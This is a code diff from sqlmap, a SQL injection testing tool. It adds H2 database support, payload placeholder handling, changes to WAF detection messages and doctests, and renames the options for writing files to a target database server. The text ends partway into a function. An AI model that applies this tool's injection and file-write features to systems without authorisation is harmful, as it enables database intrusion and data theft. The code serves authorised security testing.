infoMsg = "using WAF scripts to detect "
|
||||
infoMsg += "backend WAF/IPS/IDS protection"
|
||||
infoMsg += "backend WAF/IPS protection"
|
||||
logger.info(infoMsg)
|
||||
|
||||
@cachedmethod
|
||||
@@ -1426,7 +1425,7 @@ def identifyWaf():
|
||||
continue
|
||||
|
||||
try:
|
||||
logger.debug("checking for WAF/IPS/IDS product '%s'" % product)
|
||||
logger.debug("checking for WAF/IPS product '%s'" % product)
|
||||
found = function(_)
|
||||
except Exception, ex:
|
||||
errMsg = "exception occurred while running "
|
||||
@@ -1436,19 +1435,19 @@ def identifyWaf():
|
||||
found = False
|
||||
|
||||
if found:
|
||||
errMsg = "WAF/IPS/IDS identified as '%s'" % product
|
||||
errMsg = "WAF/IPS identified as '%s'" % product
|
||||
logger.critical(errMsg)
|
||||
|
||||
retVal.append(product)
|
||||
|
||||
if retVal:
|
||||
if kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
|
||||
if kb.wafSpecificResponse and "You don't have permission to access" not in kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
|
||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE)
|
||||
os.close(handle)
|
||||
with openFile(filename, "w+b") as f:
|
||||
f.write(kb.wafSpecificResponse)
|
||||
|
||||
message = "WAF/IPS/IDS specific response can be found in '%s'. " % filename
|
||||
message = "WAF/IPS specific response can be found in '%s'. " % filename
|
||||
message += "If you know the details on used protection please "
|
||||
message += "report it along with specific response "
|
||||
message += "to '%s'" % DEV_EMAIL_ADDRESS
|
||||
@@ -1465,7 +1464,7 @@ def identifyWaf():
|
||||
if not choice:
|
||||
raise SqlmapUserQuitException
|
||||
else:
|
||||
warnMsg = "WAF/IPS/IDS product hasn't been identified"
|
||||
warnMsg = "WAF/IPS product hasn't been identified"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
kb.testType = None
|
||||
@@ -1547,6 +1546,10 @@ def checkConnection(suppressOutput=False):
|
||||
|
||||
kb.errorIsNone = False
|
||||
|
||||
if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS):
|
||||
singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader)
|
||||
conf.disablePrecon = True
|
||||
|
||||
if not kb.originalPage and wasLastResponseHTTPError():
|
||||
errMsg = "unable to retrieve page content"
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
|
||||
@@ -56,9 +56,11 @@ from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapNotVulnerableException
|
||||
from lib.core.exception import SqlmapSilentQuitException
|
||||
from lib.core.exception import SqlmapSkipTargetException
|
||||
from lib.core.exception import SqlmapSystemException
|
||||
from lib.core.exception import SqlmapValueException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.settings import ASP_NET_CONTROL_REGEX
|
||||
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
|
||||
from lib.core.settings import IGNORE_PARAMETERS
|
||||
@@ -243,16 +245,20 @@ def _saveToResultsFile():
|
||||
|
||||
results[key].extend(injection.data.keys())
|
||||
|
||||
for key, value in results.items():
|
||||
place, parameter, notes = key
|
||||
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
|
||||
conf.resultsFP.write(line)
|
||||
try:
|
||||
for key, value in results.items():
|
||||
place, parameter, notes = key
|
||||
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
|
||||
conf.resultsFP.write(line)
|
||||
|
||||
if not results:
|
||||
line = "%s,,,,%s" % (conf.url, os.linesep)
|
||||
conf.resultsFP.write(line)
|
||||
if not results:
|
||||
line = "%s,,,,%s" % (conf.url, os.linesep)
|
||||
conf.resultsFP.write(line)
|
||||
|
||||
conf.resultsFP.flush()
|
||||
conf.resultsFP.flush()
|
||||
except IOError, ex:
|
||||
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
@stackedmethod
|
||||
def start():
|
||||
@@ -505,7 +511,7 @@ def start():
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Ignore session-like parameters for --level < 4
|
||||
elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
|
||||
elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
|
||||
testSqlInj = False
|
||||
|
||||
infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter)
|
||||
@@ -524,7 +530,7 @@ def start():
|
||||
|
||||
testSqlInj = False
|
||||
else:
|
||||
infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter)
|
||||
infoMsg = "%s parameter '%s' appears to be dynamic" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
kb.testedParams.add(paramKey)
|
||||
|
||||
@@ -21,6 +21,7 @@ from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import SYBASE_ALIASES
|
||||
from lib.core.settings import DB2_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.utils.sqlalchemy import SQLAlchemy
|
||||
|
||||
@@ -46,6 +47,8 @@ from plugins.dbms.db2 import DB2Map
|
||||
from plugins.dbms.db2.connector import Connector as DB2Conn
|
||||
from plugins.dbms.hsqldb import HSQLDBMap
|
||||
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
||||
from plugins.dbms.h2 import H2Map
|
||||
from plugins.dbms.h2.connector import Connector as H2Conn
|
||||
from plugins.dbms.informix import InformixMap
|
||||
from plugins.dbms.informix.connector import Connector as InformixConn
|
||||
|
||||
@@ -67,6 +70,7 @@ def setHandler():
|
||||
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
|
||||
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
|
||||
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
||||
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
|
||||
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
||||
]
|
||||
|
||||
|
||||
+14
-6
@@ -43,6 +43,7 @@ from lib.core.settings import INFERENCE_MARKER
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PAYLOAD_DELIMITER
|
||||
from lib.core.settings import REPLACEMENT_MARKER
|
||||
from lib.core.settings import SINGLE_QUOTE_MARKER
|
||||
from lib.core.settings import SLEEP_TIME_MARKER
|
||||
from lib.core.unescaper import unescaper
|
||||
|
||||
@@ -246,6 +247,9 @@ class Agent(object):
|
||||
else:
|
||||
query = kb.injection.prefix or prefix or ""
|
||||
|
||||
if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes
|
||||
query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
|
||||
|
||||
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
|
||||
query += " "
|
||||
|
||||
@@ -311,9 +315,12 @@ class Agent(object):
|
||||
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
|
||||
payload = payload.replace(_, randomStr())
|
||||
|
||||
if origValue is not None and "[ORIGVALUE]" in payload:
|
||||
if origValue is not None:
|
||||
origValue = getUnicode(origValue)
|
||||
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
|
||||
if "[ORIGVALUE]" in payload:
|
||||
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
|
||||
if "[ORIGINAL]" in payload:
|
||||
payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
|
||||
|
||||
if INFERENCE_MARKER in payload:
|
||||
if Backend.getIdentifiedDbms() is not None:
|
||||
@@ -342,6 +349,7 @@ class Agent(object):
|
||||
|
||||
if payload:
|
||||
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
||||
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
||||
|
||||
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
|
||||
payload = payload.replace(_, str(randomInt()))
|
||||
@@ -616,7 +624,7 @@ class Agent(object):
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||
@@ -815,7 +823,7 @@ class Agent(object):
|
||||
limitRegExp2 = None
|
||||
|
||||
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
|
||||
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
|
||||
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
|
||||
|
||||
@@ -905,7 +913,7 @@ class Agent(object):
|
||||
fromFrom = limitedQuery[fromIndex + 1:]
|
||||
orderBy = None
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
@@ -1086,7 +1094,7 @@ class Agent(object):
|
||||
if conf.dumpWhere and query:
|
||||
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
|
||||
|
||||
if "%s)" % conf.tbl.upper() in prefix.upper():
|
||||
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
|
||||
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
||||
elif re.search(r"(?i)\bWHERE\b", prefix):
|
||||
prefix += " AND %s" % conf.dumpWhere
|
||||
|
||||
@@ -126,7 +126,7 @@ class BigArray(list):
|
||||
try:
|
||||
with open(self.chunks[index], "rb") as f:
|
||||
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
|
||||
except IOError, ex:
|
||||
except Exception, ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex.message
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
+72
-13
@@ -899,7 +899,7 @@ def clearColors(message):
|
||||
|
||||
retVal = message
|
||||
|
||||
if message:
|
||||
if isinstance(message, str):
|
||||
retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
|
||||
|
||||
return retVal
|
||||
@@ -923,7 +923,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
|
||||
|
||||
try:
|
||||
if conf.get("api"):
|
||||
sys.stdout.write(message, status, content_type)
|
||||
sys.stdout.write(clearColors(message), status, content_type)
|
||||
else:
|
||||
sys.stdout.write(setColor(message, bold=bold))
|
||||
|
||||
@@ -1009,6 +1009,9 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
||||
kb.prependFlag = False
|
||||
|
||||
if conf.get("answers"):
|
||||
if not any(_ in conf.answers for _ in ",="):
|
||||
return conf.answers
|
||||
|
||||
for item in conf.answers.split(','):
|
||||
question = item.split('=')[0].strip()
|
||||
answer = item.split('=')[1] if len(item.split('=')) > 1 else None
|
||||
@@ -1162,6 +1165,9 @@ def getHeader(headers, key):
|
||||
def checkFile(filename, raiseOnError=True):
|
||||
"""
|
||||
Checks for file existence and readability
|
||||
|
||||
>>> checkFile(__file__)
|
||||
True
|
||||
"""
|
||||
|
||||
valid = True
|
||||
@@ -1172,7 +1178,7 @@ def checkFile(filename, raiseOnError=True):
|
||||
try:
|
||||
if filename is None or not os.path.isfile(filename):
|
||||
valid = False
|
||||
except UnicodeError:
|
||||
except:
|
||||
valid = False
|
||||
|
||||
if valid:
|
||||
@@ -1192,7 +1198,7 @@ def banner():
|
||||
This function prints sqlmap banner with its version
|
||||
"""
|
||||
|
||||
if not any(_ in sys.argv for _ in ("--version", "--api")):
|
||||
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
|
||||
_ = BANNER
|
||||
|
||||
if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
|
||||
@@ -1347,7 +1353,7 @@ def parseTargetDirect():
|
||||
conf.hostname = "localhost"
|
||||
conf.port = 0
|
||||
|
||||
conf.dbmsDb = details.group("db")
|
||||
conf.dbmsDb = details.group("db").strip() if details.group("db") is not None else None
|
||||
conf.parameters[None] = "direct connection"
|
||||
|
||||
break
|
||||
@@ -1644,6 +1650,9 @@ def parseUnionPage(page):
|
||||
def parseFilePaths(page):
|
||||
"""
|
||||
Detects (possible) absolute system paths inside the provided page content
|
||||
|
||||
>>> _ = "/var/www/html/index.php"; parseFilePaths("<html>Error occurred at line 207 of: %s<br>Please contact your administrator</html>" % _); _ in kb.absFilePaths
|
||||
True
|
||||
"""
|
||||
|
||||
if page:
|
||||
@@ -2036,6 +2045,9 @@ def parseXmlFile(xmlFile, handler):
|
||||
def getSQLSnippet(dbms, sfile, **variables):
|
||||
"""
|
||||
Returns content of SQL snippet located inside 'procs/' directory
|
||||
|
||||
>>> 'RECONFIGURE' in getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
|
||||
True
|
||||
"""
|
||||
|
||||
if sfile.endswith('.sql') and os.path.exists(sfile):
|
||||
@@ -2075,9 +2087,12 @@ def getSQLSnippet(dbms, sfile, **variables):
|
||||
|
||||
return retVal
|
||||
|
||||
def readCachedFileContent(filename, mode='rb'):
|
||||
def readCachedFileContent(filename, mode="rb"):
|
||||
"""
|
||||
Cached reading of file content (avoiding multiple same file reading)
|
||||
|
||||
>>> "readCachedFileContent" in readCachedFileContent(__file__)
|
||||
True
|
||||
"""
|
||||
|
||||
if filename not in kb.cache.content:
|
||||
@@ -2134,6 +2149,9 @@ def average(values):
|
||||
def calculateDeltaSeconds(start):
|
||||
"""
|
||||
Returns elapsed time from start till now
|
||||
|
||||
>>> calculateDeltaSeconds(0) > 1151721660
|
||||
True
|
||||
"""
|
||||
|
||||
return time.time() - start
|
||||
@@ -2141,6 +2159,9 @@ def calculateDeltaSeconds(start):
|
||||
def initCommonOutputs():
|
||||
"""
|
||||
Initializes dictionary containing common output values used by "good samaritan" feature
|
||||
|
||||
>>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"]
|
||||
True
|
||||
"""
|
||||
|
||||
kb.commonOutputs = {}
|
||||
@@ -2908,15 +2929,15 @@ def filterStringValue(value, charRegex, replacement=""):
|
||||
|
||||
return retVal
|
||||
|
||||
def filterControlChars(value):
|
||||
def filterControlChars(value, replacement=' '):
|
||||
"""
|
||||
Returns string value with control chars being supstituted with ' '
|
||||
Returns string value with control chars being supstituted with replacement character
|
||||
|
||||
>>> filterControlChars(u'AND 1>(2+3)\\n--')
|
||||
u'AND 1>(2+3) --'
|
||||
"""
|
||||
|
||||
return filterStringValue(value, PRINTABLE_CHAR_REGEX, ' ')
|
||||
return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement)
|
||||
|
||||
def isDBMSVersionAtLeast(version):
|
||||
"""
|
||||
@@ -3348,6 +3369,9 @@ def unhandledExceptionMessage():
|
||||
def getLatestRevision():
|
||||
"""
|
||||
Retrieves latest revision from the offical repository
|
||||
|
||||
>>> from lib.core.settings import VERSION; getLatestRevision() == VERSION
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
@@ -3457,6 +3481,9 @@ def maskSensitiveData(msg):
|
||||
for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
|
||||
retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
|
||||
|
||||
# Fail-safe substitution
|
||||
retVal = re.sub(r"(?i)\bhttps?://[^ ]+", lambda match: '*' * len(match.group(0)), retVal)
|
||||
|
||||
if getpass.getuser():
|
||||
retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal)
|
||||
|
||||
@@ -3518,7 +3545,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
|
||||
return value
|
||||
|
||||
payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True))
|
||||
regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape")))
|
||||
regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string_escape")))
|
||||
|
||||
if regex != payload:
|
||||
if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check
|
||||
@@ -3625,7 +3652,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
|
||||
retVal = "`%s`" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
|
||||
retVal = "\"%s\"" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
||||
retVal = "\"%s\"" % retVal.upper()
|
||||
@@ -4146,6 +4173,9 @@ def checkSystemEncoding():
|
||||
def evaluateCode(code, variables=None):
|
||||
"""
|
||||
Executes given python code given in a string form
|
||||
|
||||
>>> _ = {}; evaluateCode("a = 1; b = 2; c = a", _); _["c"]
|
||||
1
|
||||
"""
|
||||
|
||||
try:
|
||||
@@ -4199,6 +4229,9 @@ def incrementCounter(technique):
|
||||
def getCounter(technique):
|
||||
"""
|
||||
Returns query counter for a given technique
|
||||
|
||||
>>> resetCounter(PAYLOAD.TECHNIQUE.STACKED); incrementCounter(PAYLOAD.TECHNIQUE.STACKED); getCounter(PAYLOAD.TECHNIQUE.STACKED)
|
||||
1
|
||||
"""
|
||||
|
||||
return kb.counters.get(technique, 0)
|
||||
@@ -4245,7 +4278,7 @@ def decodeHexValue(value, raw=False):
|
||||
retVal = retVal.decode("utf-16-le")
|
||||
except UnicodeDecodeError:
|
||||
pass
|
||||
elif Backend.isDbms(DBMS.HSQLDB):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
|
||||
try:
|
||||
retVal = retVal.decode("utf-16-be")
|
||||
except UnicodeDecodeError:
|
||||
@@ -4438,6 +4471,9 @@ def zeroDepthSearch(expression, value):
|
||||
"""
|
||||
Searches occurrences of value inside expression at 0-depth level
|
||||
regarding the parentheses
|
||||
|
||||
>>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:]
|
||||
'FROM DUAL'
|
||||
"""
|
||||
|
||||
retVal = []
|
||||
@@ -4473,7 +4509,7 @@ def pollProcess(process, suppress_errors=False):
|
||||
Checks for process status (prints . if still running)
|
||||
"""
|
||||
|
||||
while True:
|
||||
while process:
|
||||
dataToStdout(".")
|
||||
time.sleep(1)
|
||||
|
||||
@@ -4694,16 +4730,39 @@ def getSafeExString(ex, encoding=None):
|
||||
retVal = ex.message
|
||||
elif getattr(ex, "msg", None):
|
||||
retVal = ex.msg
|
||||
elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], basestring):
|
||||
retVal = ex[1]
|
||||
|
||||
return getUnicode(retVal or "", encoding=encoding).strip()
|
||||
|
||||
def safeVariableNaming(value):
|
||||
"""
|
||||
Returns escaped safe-representation of a given variable name that can be used in Python evaluated code
|
||||
|
||||
>>> safeVariableNaming("foo bar")
|
||||
'foo__SAFE__20bar'
|
||||
"""
|
||||
|
||||
return re.sub(r"[^\w]", lambda match: "%s%02x" % (SAFE_VARIABLE_MARKER, ord(match.group(0))), value)
|
||||
|
||||
def unsafeVariableNaming(value):
|
||||
"""
|
||||
Returns unescaped safe-representation of a given variable name
|
||||
|
||||
>>> unsafeVariableNaming("foo__SAFE__20bar")
|
||||
'foo bar'
|
||||
"""
|
||||
|
||||
return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value)
|
||||
|
||||
def firstNotNone(*args):
|
||||
"""
|
||||
Returns first not-None value from a given list of arguments
|
||||
|
||||
>>> firstNotNone(None, None, 1, 2, 3)
|
||||
1
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
||||
for _ in args:
|
||||
|
||||
@@ -22,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import SYBASE_ALIASES
|
||||
from lib.core.settings import DB2_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
|
||||
FIREBIRD_TYPES = {
|
||||
@@ -195,6 +196,7 @@ DBMS_DICT = {
|
||||
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
|
||||
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||
DBMS.H2: (H2_ALIASES, None, None, None),
|
||||
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||
}
|
||||
|
||||
@@ -263,6 +265,10 @@ SQL_STATEMENTS = {
|
||||
"commit ",
|
||||
"rollback ",
|
||||
),
|
||||
|
||||
"SQL administration": (
|
||||
"set ",
|
||||
),
|
||||
}
|
||||
|
||||
POST_HINT_CONTENT_TYPES = {
|
||||
|
||||
+3
-1
@@ -47,6 +47,7 @@ from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
|
||||
from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
|
||||
from lib.core.settings import VERSION_STRING
|
||||
from lib.core.settings import WINDOWS_RESERVED_NAMES
|
||||
from thirdparty.magic import magic
|
||||
|
||||
@@ -170,7 +171,7 @@ class Dump(object):
|
||||
def currentDb(self, data):
|
||||
if Backend.isDbms(DBMS.MAXDB):
|
||||
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
else:
|
||||
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
@@ -532,6 +533,7 @@ class Dump(object):
|
||||
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||
dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
|
||||
dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
|
||||
dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
|
||||
dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
|
||||
dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
|
||||
dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")
|
||||
|
||||
@@ -43,6 +43,7 @@ class DBMS:
|
||||
SQLITE = "SQLite"
|
||||
SYBASE = "Sybase"
|
||||
HSQLDB = "HSQLDB"
|
||||
H2 = "H2"
|
||||
INFORMIX = "Informix"
|
||||
|
||||
class DBMS_DIRECTORY_NAME:
|
||||
@@ -57,6 +58,7 @@ class DBMS_DIRECTORY_NAME:
|
||||
SQLITE = "sqlite"
|
||||
SYBASE = "sybase"
|
||||
HSQLDB = "hsqldb"
|
||||
H2 = "h2"
|
||||
INFORMIX = "informix"
|
||||
|
||||
class CUSTOM_LOGGING:
|
||||
@@ -256,6 +258,7 @@ class PAYLOAD:
|
||||
3: "LIKE single quoted string",
|
||||
4: "Double quoted string",
|
||||
5: "LIKE double quoted string",
|
||||
6: "Identifier (e.g. column name)",
|
||||
}
|
||||
|
||||
RISK = {
|
||||
@@ -275,6 +278,7 @@ class PAYLOAD:
|
||||
6: "TOP",
|
||||
7: "Table name",
|
||||
8: "Column name",
|
||||
9: "Pre-WHERE (non-query)",
|
||||
}
|
||||
|
||||
class METHOD:
|
||||
@@ -374,3 +378,7 @@ class TIMEOUT_STATE:
|
||||
NORMAL = 0
|
||||
EXCEPTION = 1
|
||||
TIMEOUT = 2
|
||||
|
||||
class HINT:
|
||||
PREPEND = 0
|
||||
APPEND = 1
|
||||
+25
-25
@@ -45,7 +45,6 @@ from lib.core.common import ntToPosixSlashes
|
||||
from lib.core.common import openFile
|
||||
from lib.core.common import parseRequestFile
|
||||
from lib.core.common import parseTargetDirect
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import paths
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readCachedFileContent
|
||||
@@ -104,7 +103,6 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING
|
||||
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
|
||||
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
|
||||
from lib.core.settings import DUMMY_URL
|
||||
from lib.core.settings import INJECT_HERE_REGEX
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
|
||||
from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
|
||||
@@ -608,22 +606,22 @@ def _setMetasploit():
|
||||
raise SqlmapFilePathException(errMsg)
|
||||
|
||||
def _setWriteFile():
|
||||
if not conf.wFile:
|
||||
if not conf.fileWrite:
|
||||
return
|
||||
|
||||
debugMsg = "setting the write file functionality"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if not os.path.exists(conf.wFile):
|
||||
errMsg = "the provided local file '%s' does not exist" % conf.wFile
|
||||
if not os.path.exists(conf.fileWrite):
|
||||
errMsg = "the provided local file '%s' does not exist" % conf.fileWrite
|
||||
raise SqlmapFilePathException(errMsg)
|
||||
|
||||
if not conf.dFile:
|
||||
if not conf.fileDest:
|
||||
errMsg = "you did not provide the back-end DBMS absolute path "
|
||||
errMsg += "where you want to write the local file '%s'" % conf.wFile
|
||||
errMsg += "where you want to write the local file '%s'" % conf.fileWrite
|
||||
raise SqlmapMissingMandatoryOptionException(errMsg)
|
||||
|
||||
conf.wFileType = getFileType(conf.wFile)
|
||||
conf.fileWriteType = getFileType(conf.fileWrite)
|
||||
|
||||
def _setOS():
|
||||
"""
|
||||
@@ -824,7 +822,7 @@ def _setTamperingFunctions():
|
||||
|
||||
def _setWafFunctions():
|
||||
"""
|
||||
Loads WAF/IPS/IDS detecting functions from script(s)
|
||||
Loads WAF/IPS detecting functions from script(s)
|
||||
"""
|
||||
|
||||
if conf.identifyWaf:
|
||||
@@ -1369,6 +1367,14 @@ def _setHTTPCookies():
|
||||
|
||||
conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie))
|
||||
|
||||
def _setHostname():
|
||||
"""
|
||||
Set value conf.hostname
|
||||
"""
|
||||
|
||||
if conf.url:
|
||||
